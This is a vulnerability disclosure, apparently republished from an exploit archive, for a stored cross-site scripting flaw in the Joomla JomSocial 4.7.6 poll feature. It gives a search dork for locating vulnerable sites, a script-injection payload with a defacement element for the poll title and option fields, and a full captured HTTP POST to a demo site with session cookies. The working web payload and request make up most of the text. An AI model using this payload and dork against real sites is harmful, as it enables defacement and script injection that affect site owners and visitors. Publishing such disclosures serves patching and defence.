Joomla JomSocial 4.7.6 Stored XSS

Joomla JomSocial 4.7.6 Stored XSS
2020-11-04 05:09:33 Author: cxsecurity.com(查看原文) 阅读量:86 收藏

Joomla JomSocial 4.7.6 Stored XSS

# Exploit Title: Joomla JomSocial 4.7.6 Stored XSS # Date: 03.11.2020 # Author: Vincent666 ibn Winnie # Software Link: https://www.jomsocial.com/demo # Tested on: Windows 10 # Web Browser: Mozilla Firefox,Google Chrome and Edge #:Google Dorks: inurl:templates/jomsocial/ # Blog : https://pentest.vincent.blogspot.com/ # PoC: https://pentestvincent.blogspot.com/2020/11/joomla-jomsocial-476-stored-xss.html PoC: Stored XSS in the poll. Go to the https://ijoomlademo.com/index.php Create poll: Use for test simple xss code : ""><script>alert(1)</script><script>alert("2")</script><body background="https://i.gifer.com/Nv2.gif"> Field "title and field "add poll option". Update this and we have stored xss and deface background with stored html code injection. https://ijoomlademo.com/index.php Host: ijoomlademo.com .......................................................................................... User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:82.0) Gecko/20100101 Firefox/82.0 Accept: application/json, text/javascript, */*; q=0.01 Accept-Language: ru-RU,ru;q=0.8,en-US;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate, br Content-Type: application/x-www-form-urlencoded; charset=UTF-8 X-Requested-With: XMLHttpRequest Content-Length: 1073 Origin: https://ijoomlademo.com Connection: keep-alive Referer: https://ijoomlademo.com/index.php Cookie: __cfduid=dee102cc0e40cf95be92c643956e474cd1604428425; 4681557252fe8ff3df4a28d60cb41dc7=shg4g73pm6odh4e8hfuc4c2h75; currentURI=https%3A%2F%2Fijoomlademo.com%2Findex.php%3Foption%3Dcom_community%26view%3Dfriends%26task%3DajaxAutocomplete%26allfriends%3D1; joomla_user_state=logged_in option=community&view=frontpage&task=azrul_ajax&func=system,ajaxStreamAdd&no_html=1&008b85046025db389f11292741ac0393=1&arg2=["_d_","""><script>alert(1)</script>"]&arg3=["_d_","{"element":"profile","target":"231","type":"poll","options":["1","2"],"settings":{"allow_multiple":false},"polltime":{"enddate":["2020-11-03","3 November 2020"],"endtime":["00:00","12:00 AM"]},"privacy":10,"catid":1}"]&arg4=["_d_","{"filter":"","value":"default_value","hashtag":false}"] POST: HTTP/2.0 200 OK date: Tue, 03 Nov 2020 18:53:21 GMT content-type: text/plain;charset=UTF-8 x-powered-by: PHP/7.2.33 cf-cache-status: DYNAMIC cf-request-id: 06310dee9f000033744f1b3000000001 expect-ct: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct" report-to: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report?s=b7CGOI6icRSPny5RypHkJ%2FP%2FfGPQbpAPZalJMzkV6a3yQZwqkqb8tFcZcMnuQNZM45YxUCbr5ZrvHryA0tsZ2qv3NT%2Bh04xxtHJhrpFmcDY%3D"}],"group":"cf-nel","max_age":604800} nel: {"report_to":"cf-nel","max_age":604800} server: cloudflare cf-ray: 5ec84c2a9fd33374-DME content-encoding: br X-Firefox-Spdy: h2 .......................................................................................... Picture: https://imgur.com/a/Cmrcker https://imgur.com/a/82FhgbW https://imgur.com/a/mc7bgkN Video: https://www.youtube.com/watch?v=brmf-Ew4D3k&feature=youtu.be

References:

https://pentestvincent.blogspot.com/2020/11/joomla-jomsocial-476-stored-xss.html

Thanks for you comment!
Your message is in quarantine 48 hours.

{{ x.nick }}

Date:

{{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1

文章来源: https://cxsecurity.com/issue/WLB-2020110013
如有侵权请联系:admin#unsafe.sh

Joomla JomSocial 4.7.6 Stored XSS

References:

Thanks for you comment!Your message is in quarantine 48 hours.

Thanks for you comment!
Your message is in quarantine 48 hours.